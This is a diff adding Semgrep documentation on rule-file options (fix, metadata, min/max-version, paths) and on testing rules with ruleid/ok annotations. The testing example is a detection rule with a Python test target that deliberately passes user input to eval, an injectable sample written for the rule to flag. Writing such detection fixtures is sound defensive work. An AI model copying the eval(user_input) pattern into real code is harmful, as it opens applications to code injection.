+| `generic_ellipsis_max_span` | `10` | In generic mode, this is the maximum number of newlines that an ellipsis operator `...` can match, or equivalently, the maximum number of lines covered by the match minus one. The default value is `10` (newlines) for performance reasons. Increase it with caution. Note that the same effect as `20` can be achieved without changing this setting and by writing `... ...` in the pattern instead of `...`. Setting it to `0` is useful with line-oriented languages (for example, [INI](https://en.wikipedia.org/wiki/INI_file) or key-value pairs in general) to prevent a match from extending to the next line of code. Available since Semgrep 0.96. For more information about generic mode, see [Generic pattern matching](/writing-rules/generic-pattern-matching) documentation. |
+| `implicit_return` | `true` | Return statement patterns (for example `return $E`) match expressions that may be evaluated last in a function as if there was a return keyword in front of those expressions. Only applies to certain expression-based languages, such as Ruby and Julia. |
+| `interfile` | `false` | Set this value to `true` for Semgrep to run this rule with cross-function and cross-file analysis. It is **required** for rules that use cross-function, cross-file analysis. |
+| `symmetric_eq` | `false` | Treat equal operations as symmetric (for example: `a == b` is equal to `b == a`). |
+| `taint_assume_safe_functions` | `false` | Experimental option which are be subject to future changes. Used in taint analysis. Assume that function calls do **not** propagate taint from their arguments to their output. Otherwise, Semgrep always assumes that functions may propagate taint. Can replace **not-conflicting** sanitizers added in v0.69.0 in the future. |
+| `taint_assume_safe_indexes` | `false` | Used in taint analysis. Assume that an array-access expression is safe even if the index expression is tainted. Otherwise, Semgrep assumes that, for example, `a[i]` is tainted if `i is tainted, even if `a` is not. Enabling this option is recommended for high-signal rules, whereas disabling it is preferred for audit rules. Currently, it is disabled by default to maintain backward compatibility, but this may change in the near future after further evaluation. |
+| `vardef_assign` | `true` | Assignment patterns (for example `$X = $E`) match variable declarations (for example `var x = 1;`). |
+| `xml_attrs_implicit_ellipsis` | `true` | Any XML/JSX/HTML element patterns have implicit ellipsis for attributes (for example: `` matches `
`. |
+
+The complete list of available options can be consulted in the [Semgrep matching engine configuration](https://github.com/semgrep/semgrep/blob/develop/interfaces/Rule_options.atd) module. Please note that options not included in the table above are considered experimental and may change or be removed without notice.
+
+## `fix`
+
+The `fix` top-level key allows simple pattern fixes by suggesting an alternative for each match. Run `semgrep` with `--autofix` to apply the changes to the files.
+
+Example:
+
+```yaml
+rules:
+ - id: use-dict-get
+ patterns:
+ - pattern: $DICT[$KEY]
+ fix: $DICT.get($KEY)
+ message: "Use `.get()` method to avoid a KeyNotFound error"
+ languages: [python]
+ severity: HIGH
+```
+
+For more information about `fix` and `--autofix` see [Rule-defined fix](/writing-rules/rule-defined-fix) documentation.
+
+## `metadata`
+
+Provide additional information for a rule with the `metadata:` key, such as a related CWE, likelihood, or OWASP.
+
+Example:
+
+```yaml
+rules:
+ - id: eqeq-is-bad
+ patterns:
+ - [...]
+ message: "useless comparison operation `$X == $X` or `$X != $X`"
+ metadata:
+ cve: CVE-2077-1234
+ discovered-by: Ikwa L'equale
+ languages:
+ - javascript
+ - python
+ - go
+ severity: MEDIUM
+```
+
+The metadata are also displayed in the output of Semgrep if you’re running it with `--json`.
+Rules with `category: security` have additional metadata requirements. See [Including fields required by security category](/contributing/contributing-to-semgrep-rules-repository/#fields-required-by-the-security-category) for more information.
+
+## `min-version` and `max-version`
+
+Each rule supports optional fields `min-version` and `max-version` specifying
+minimum and maximum Semgrep versions. If the Semgrep
+version being used doesn't satisfy these constraints,
+the rule is skipped without causing a fatal error.
+
+Example rule:
+
+```yaml
+rules:
+ - id: bad-goflags
+ # earlier semgrep versions can't parse the pattern
+ min-version: 1.31.0
+ pattern: |
+ ENV ... GOFLAGS='-tags=dynamic -buildvcs=false' ...
+ languages: [dockerfile]
+ message: "We should not use these flags"
+ severity: MEDIUM
+```
+
+Another use case is when a newer version of a rule works better than
+before but relies on a new feature. In this case, you can use
+`min-version` and `max-version` to ensure that either the older or the
+newer rule is used, but not both. The rules would look like this:
+
+```yaml
+rules:
+ - id: something-wrong-v1
+ max-version: 1.72.999
+ ...
+ - id: something-wrong-v2
+ min-version: 1.73.0
+ # 10x faster than v1!
+ ...
+```
+
+The `min-version`/`max-version` feature has been available since Semgrep 1.38.0. It is intended primarily for publishing rules that rely on
+newly released features without causing errors in older Semgrep
+installations.
+
+
+## `category`
+
+Provide a category for users of the rule. For example: `best-practice`, `correctness`, `maintainability`. For more information, see [Semgrep Registry rule requirements](/contributing/contributing-to-semgrep-rules-repository/#semgrep-registry-rule-requirements).
+
+## `paths`
+
+### Exclude a rule in paths
+
+To ignore a specific rule on specific files, set the `paths:` key with
+one or more filters. The patterns apply to the full file paths
+relative to the project root.
+
+
+Example:
+
+```yaml
+rules:
+ - id: eqeq-is-bad
+ languages:
+ - python
+ - javascript
+ severity: MEDIUM
+ pattern: $X == $X
+ paths:
+ exclude:
+ - "src/**/*.jinja2"
+ - "*_test.go"
+ - "project/tests"
+ - "project/static/*.js"
+```
+
+When invoked with `semgrep -f rule.yaml project/`, the preceding rule runs on files inside `project/`, but no results are returned for:
+
+- any file with a `.jinja2` file extension
+- any file whose name ends in `_test.go`, such as `project/backend/server_test.go`
+- any file inside `project/tests` or its subdirectories
+- any file matching the `project/static/*.js` glob pattern
+
+
+**NOTE**
+
+The glob syntax is from [Python's `wcmatch`](https://pypi.org/project/wcmatch/) and is used to match against the given file and all its parent directories.
+
+
+### Limit a rule to paths
+
+Conversely, to run a rule _only_ on specific files, set a `paths:` key with one or more of these filters:
+
+```yaml
+rules:
+ - id: eqeq-is-bad
+ pattern: $X == $X
+ languages:
+ - python
+ - javascript
+ severity: MEDIUM
+ paths:
+ include:
+ - "*_test.go"
+ - "project/server"
+ - "project/schemata"
+ - "project/static/*.js"
+ - "tests/**/*.js"
+```
+
+When invoked with `semgrep -f rule.yaml project/`, this rule runs on files inside `project/`, but results are returned only for:
+
+- files whose name ends in `_test.go`, such as `project/backend/server_test.go`
+- files inside `project/server`, `project/schemata`, or their subdirectories
+- files matching the `project/static/*.js` glob pattern
+- all files with the `.js` extension, arbitrary depth inside the tests folder
+
+If you are writing tests for your rules, add any test file or directory to the included paths as well.
+
+
+**NOTE**
+
+When mixing inclusion and exclusion filters, the exclusion ones take precedence.
+
+
+Example:
+
+```yaml
+paths:
+ include: "project/schemata"
+ exclude: "*_internal.py"
+```
+
+The preceding rule returns results from `project/schemata/scan.py` but not from `project/schemata/scan_internal.py`.
+
+## Additional examples
+
+This section contains more complex rules that perform advanced code searching.
+
+### Complete useless comparison
+
+```yaml
+rules:
+ - id: eqeq-is-bad
+ languages: [python]
+ severity: MEDIUM
+ patterns:
+ - pattern-not-inside: |
+ def __eq__(...):
+ ...
+ - pattern-not-inside: assert(...)
+ - pattern-not-inside: assertTrue(...)
+ - pattern-not-inside: assertFalse(...)
+ - pattern-either:
+ - pattern: $X == $X
+ - pattern: $X != $X
+ - patterns:
+ - pattern-inside: |
+ def __init__(...):
+ ...
+ - pattern: self.$X == self.$X
+ - pattern-not: 1 == 1
+ message: "useless comparison operation `$X == $X` or `$X != $X`"
+```
+
+The preceding rule makes use of many operators. It utilizes `pattern-either`, `patterns`, `pattern`, and `pattern-inside` to carefully consider different cases, and employs `pattern-not-inside` and `pattern-not` to exclude specific unnecessary comparisons.
+
+## Full specification
+
+The [full configuration-file format](https://github.com/semgrep/semgrep-interfaces/blob/main/rule_schema_v1.yaml) is defined as a [jsonschema](http://json-schema.org/specification.html) object.
diff --git a/mintlify-docs/writing-rules/testing-rules.mdx b/mintlify-docs/writing-rules/testing-rules.mdx
new file mode 100644
index 0000000000..0ab674c1e0
--- /dev/null
+++ b/mintlify-docs/writing-rules/testing-rules.mdx
@@ -0,0 +1,227 @@
+---
+title: "Test rules"
+description: "Semgrep provides a testing mechanism for your rules. You can write code and provide annotations to let Semgrep know where you are or aren't expecting findings. Semgrep provides the following annotations:"
+---
+
+
+- `ruleid: ` for protecting against false negatives
+- `ok: ` for protecting against false positives
+- `todoruleid: ` for future "positive" rule improvements
+- `todook: ` for future "negative" rule improvements
+
+When writing tests, remember that:
+
+1. The `--test` flag tells Semgrep to run tests in the specified directory.
+2. Annotations are specified as a comment immediately preceeding the offending line.
+3. Semgrep looks for tests based on the rule filename and the languages
+ specified in the rule. In other words, `path/to/rule.yaml` searches for
+ `path/to/rule.py`, `path/to/rule.js`, and similar, based on the languages specified in the rule.
+
+
+**INFO**
+
+The `.test.yaml` file extension can also be used for test files. This is necessary when testing YAML language rules.
+
+
+## Test rules with Rule-defined fix
+
+Semgrep's testing mechanism also provides a way to test the behavior of any `fix` values defined in the rules.
+
+To define a test for Rule-defined fix behavior:
+
+
+
+Create a new **Rule-defined fix test file** with the `.fixed` suffix before the file type extension. For example, name the Rule-defined fix test file of a rule with test code in `path/to/rule.py` as `path/to/rule.fixed.py`.
+
+
+Within the Rule-defined fix test file, enter the expected result of applied Rule-defined fix rule to the test code.
+
+
+Run `semgrep --test` to verify that your Rule-defined fix test file is correctly detected.
+
+
+When you use `semgrep --test`, Semgrep applies the Rule-defined fix rule to the original test code (`path/to/rule.py`), then verifies whether this matches the expected outcome defined in the Rule-defined fix test file (`path/to/rule.fixed.py`). If there is a mismatch, the line diffs are printed.
+
+
+**INFO**
+
+**Hint**: Creating a Rule-defined fix test for a rule with Rule-defined fix can take less than a minute with the following flow of commands:
+```sh
+cp rule.py rule.fixed.py
+semgrep --config rule.yaml rule.fixed.py --autofix
+```
+
+These commands apply the Rule-defined fix to the test code. After Semgrep delivers a fix, inspect whether the outcome of this fix is as expected (for example, using `vimdiff rule.py rule.fixed.py`).
+
+
+## Example
+
+Consider the following rule:
+
+```yaml
+rules:
+- id: insecure-eval-use
+ patterns:
+ - pattern: eval($VAR)
+ - pattern-not: eval("...")
+ fix: secure_eval($VAR)
+ message: Calling 'eval' with user input
+ languages: [python]
+ severity: MEDIUM
+```
+
+If the filename with the preceeding rule is `rules/detect-eval.yaml`, you can create `rules/detect-eval.py`:
+
+```python
+from lib import get_user_input, safe_get_user_input, secure_eval
+
+user_input = get_user_input()
+# ruleid: insecure-eval-use
+eval(user_input)
+
+# ok: insecure-eval-use
+eval('print("Hardcoded eval")')
+
+totally_safe_eval = eval
+# todoruleid: insecure-eval-use
+totally_safe_eval(user_input)
+
+# todook: insecure-eval-use
+eval(safe_get_user_input())
+```
+
+Run the tests with the following:
+
+```sh
+semgrep --test rules/
+```
+
+This produces the following output:
+
+```sh
+1/1: ✓ All tests passed
+No tests for fixes found.
+```
+
+Semgrep tests automatically avoid failing on lines marked with `# todoruleid` or `# todook`.
+
+## Store rules and test targets in different directories
+
+Creating different directories for rules and tests helps you manage a growing library of custom rules. To store rules and test targets in different directories, use the `--config` option.
+
+For example, in the directory with the following structure:
+
+```sh
+$ tree tests
+
+tests
+├── rules
+│ └── python
+│ └── insecure-eval-use.yaml
+└── targets
+ └── python
+ └── insecure-eval-use.py
+
+4 directories, 2 files
+```
+
+Use of the following command
+
+```sh
+semgrep --test --config tests/rules/ tests/targets/
+```
+
+Produces the same output as in the previous example.
+
+The subdirectory structure of these two directories must be the same for Semgrep to correctly find the associated files.
+
+To test the Rule-defined fix behavior, add the Rule-defined fix test file `rules/detect-eval.fixed.py` to represent the expected outcome of applying the fix to the test code:
+
+```python
+from lib import get_user_input, safe_get_user_input, secure_eval
+
+user_input = get_user_input()
+# ruleid: insecure-eval-use
+secure_eval(user_input)
+
+# ok: insecure-eval-use
+eval('print("Hardcoded eval")')
+
+totally_safe_eval = eval
+# todoruleid: insecure-eval-use
+totally_safe_eval(user_input)
+
+# todook: insecure-eval-use
+secure_eval(safe_get_user_input())
+```
+
+So that the directory structure is printed as the following:
+
+```sh
+$ tree tests
+
+tests
+├── rules
+│ └── python
+│ └── insecure-eval-use.yaml
+└── targets
+ └── python
+ └── insecure-eval-use.py
+ └── insecure-eval-use.fixed.py
+
+4 directories, 2 files
+```
+
+Use of the following command:
+
+```sh
+semgrep --test --config tests/rules/ tests/targets/
+```
+
+Results in the following outcome:
+
+```sh
+1/1: ✓ All tests passed
+1/1: ✓ All fix tests passed
+```
+
+If the fix does not behave as expected, the output prints a line diff.
+For example, if you replace `secure_eval` with `safe_eval`, you can see that lines 5 and 15 do not render as expected.
+
+```sh
+1/1: ✓ All tests passed
+0/1: 1 fix tests did not pass:
+--------------------------------------------------------------------------------
+ ✖ targets/python/detect-eval.fixed.py <> autofix applied to targets/python/detect-eval.py
+
+ ---
+ +++
+ @@ -5 +5 @@
+ -safe_eval(user_input)
+ +secure_eval(user_input)
+ @@ -15 +15 @@
+ -safe_eval(safe_get_user_input())
+ +secure_eval(safe_get_user_input())
+
+```
+
+## Validating rules
+
+You can run `semgrep --validate --config [filename]` to verify the rule's configuration. This command runs a combination of Semgrep rules and OCaml checks against your rules to search for issues such as duplicate patterns and missing fields. All rules submitted to the Semgrep Registry are validated.
+
+The semgrep rules are pulled from `p/semgrep-rule-lints`.
+
+This feature is still experimental and under active development. Your feedback is welcomed!
+
+## Enable Rule-defined fix in Semgrep Code
+
+To enable Rule-defined fix for all projects in your Semgrep organization:
+
+
+
+In Semgrep AppSec Platform, go to [**Settings > General > Code**](https://semgrep.dev/orgs/-/settings/general/code).
+
+
+Click the **Rule-defined fix** toggle to enable this feature.
+
+